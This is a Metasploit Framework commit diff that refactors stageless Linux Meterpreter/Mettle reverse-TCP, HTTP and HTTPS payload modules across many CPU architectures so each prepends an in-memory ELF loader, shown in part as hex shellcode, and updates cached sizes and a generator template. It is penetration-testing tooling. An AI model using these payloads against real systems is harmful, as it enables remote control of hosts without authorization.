fix: updated mettle payload generation and cached_size

This commit is contained in:
dledda-r7
2025-02-14 05:42:14 -05:00
parent 978a2c23a5
commit 0cc080fbe9
34 changed files with 136 additions and 88 deletions
@@ -5,7 +5,7 @@
# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
#
module Msf::Payload::Linux::Aarch64::MeterpreterLoader
def in_memory_loader(payload)
def in_memory_load(payload)
in_memory_loader = [
0x0a0080d2, # 0x1000: mov x10, #0 0x0a0080d2
0xea0300f9, # 0x1004: str x10, [sp] 0xea0300f9
@@ -6,7 +6,7 @@
# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
#
module Msf::Payload::Linux::Armbe::MeterpreterLoader
def in_memory_loader(payload)
def in_memory_load(payload)
in_memory_loader = [
0x0020a0e3, # 0x1000: mov r2, #0 0x0020a0e3
0x04202de5, # 0x1004: str r2, [sp, #-4]! 0x04202de5
@@ -5,7 +5,7 @@
# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
#
module Msf::Payload::Linux::Armle::MeterpreterLoader
def in_memory_loader(payload)
def in_memory_load(payload)
in_memory_loader = [
0xe3a02000, #0x1000: mov r2, #0 0xe3a02000
0xe52d2004, #0x1004: str r2, [sp, #-4]! 0xe52d2004
@@ -6,7 +6,7 @@
#
module Msf::Payload::Linux::Ppc::MeterpreterLoader
def in_memory_loader(payload)
def in_memory_load(payload)
in_memory_loader = [
0x48000084, # 0x1000: b 0x1084 0x48000084
@@ -6,7 +6,7 @@
#
module Msf::Payload::Linux::Ppc64le::MeterpreterLoader
def in_memory_loader(payload)
def in_memory_load(payload)
in_memory_loader = [
0x4800007c, # 0x1000: b 0x107c 0x4800007c
0x7de802a6, # 0x1004: mflr r15 0x7de802a6
@@ -7,7 +7,7 @@
module Msf::Payload::Linux::Ppce500v2::MeterpreterLoader
def in_memory_loader(payload)
def in_memory_load(payload)
in_memory_loader = [
0x48000084, # 0x1000: b 0x1084 0x48000084
0x7de802a6, # 0x1004: mflr r15 0x7de802a6
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Aarch64::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Aarch64::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
CachedSize = 1184672
@@ -11,32 +12,33 @@ module MetasploitModule
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Aarch64::MeterpreterLoader
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
],
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
)
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'tcp',
stageless: true
}.merge(mettle_logging_config)
payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
in_memory_loader(payload) + payload
in_memory_load(payload) + payload
end
end
@@ -7,9 +7,11 @@
module MetasploitModule
CachedSize = 1106544
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Armbe::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +33,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Armbe::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
CachedSize = 1106544
@@ -11,32 +12,33 @@ module MetasploitModule
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Armbe::MeterpreterLoader
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
],
'Platform' => 'linux',
'Arch' => ARCH_ARMBE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_armbe_Linux
'Platform' => 'linux',
'Arch' => ARCH_ARMBE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_armbe_Linux
)
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'tcp',
stageless: true
}.merge(mettle_logging_config)
payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec
in_memory_loader(payload) + payload
in_memory_load(payload) + payload
end
end
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Armle::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -7,9 +7,11 @@
module MetasploitModule
CachedSize = 1106844
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Armle::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +33,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
CachedSize = 1106844
@@ -16,28 +17,28 @@ module MetasploitModule
super(
update_info(
info,
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_armle_Linux
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_armle_Linux
)
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'tcp',
stageless: true
}.merge(mettle_logging_config)
payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
in_memory_loader(payload) + payload
in_memory_load(payload) + payload
end
end
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Mips64::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -7,9 +7,11 @@
module MetasploitModule
CachedSize = 1685392
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Mips64::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +33,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -32,7 +32,7 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'tcp',
stageless: true
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Mipsbe::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Mipsbe::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -32,7 +32,7 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'tcp',
stageless: true
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Mipsle::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Mipsle::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -32,7 +32,7 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'tcp',
stageless: true
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::X64::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::X64::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -11,6 +11,7 @@ module MetasploitModule
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::X64::MeterpreterLoader
def initialize(info = {})
super(
update_info(
@@ -31,7 +32,7 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'tcp',
stageless: true
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::X86::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::X86::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -32,7 +32,7 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'tcp',
stageless: true
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Zarch::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::Linux
include Msf::Sessions::MettleConfig
include Msf::Payload::Linux::Zarch::MeterpreterLoader
def initialize(info = {})
super(
@@ -31,11 +32,12 @@ module MetasploitModule
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
in_memory_load(payload) + payload
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
CachedSize = 1332048
@@ -16,28 +17,28 @@ module MetasploitModule
super(
update_info(
info,
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
],
'Platform' => 'linux',
'Arch' => ARCH_ZARCH,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_zarch_Linux
'Platform' => 'linux',
'Arch' => ARCH_ZARCH,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_zarch_Linux
)
)
end
def generate(_opts = {})
def generate
opts = {
scheme: 'tcp',
stageless: true
}.merge(mettle_logging_config)
payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
in_memory_loader(payload) + payload
in_memory_load(payload) + payload
end
end
+3 -1
View File
@@ -10,6 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions::<%= platform.split('_').each { |s| s.casecmp?('osx') ? 'OSX' : s.capitalize! }.join %>
include Msf::Sessions::MettleConfig
<% if platform.downcase == 'linux' %>include Msf::Payload::Linux::<%= arch.capitalize %>::MeterpreterLoader<% end %>
def initialize(info = {})
super(
@@ -36,6 +37,7 @@ module MetasploitModule
scheme: '<%= scheme %>',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
payload = MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
<% if platform.downcase == 'linux' %>in_memory_load(payload) + <% end %>payload
end
end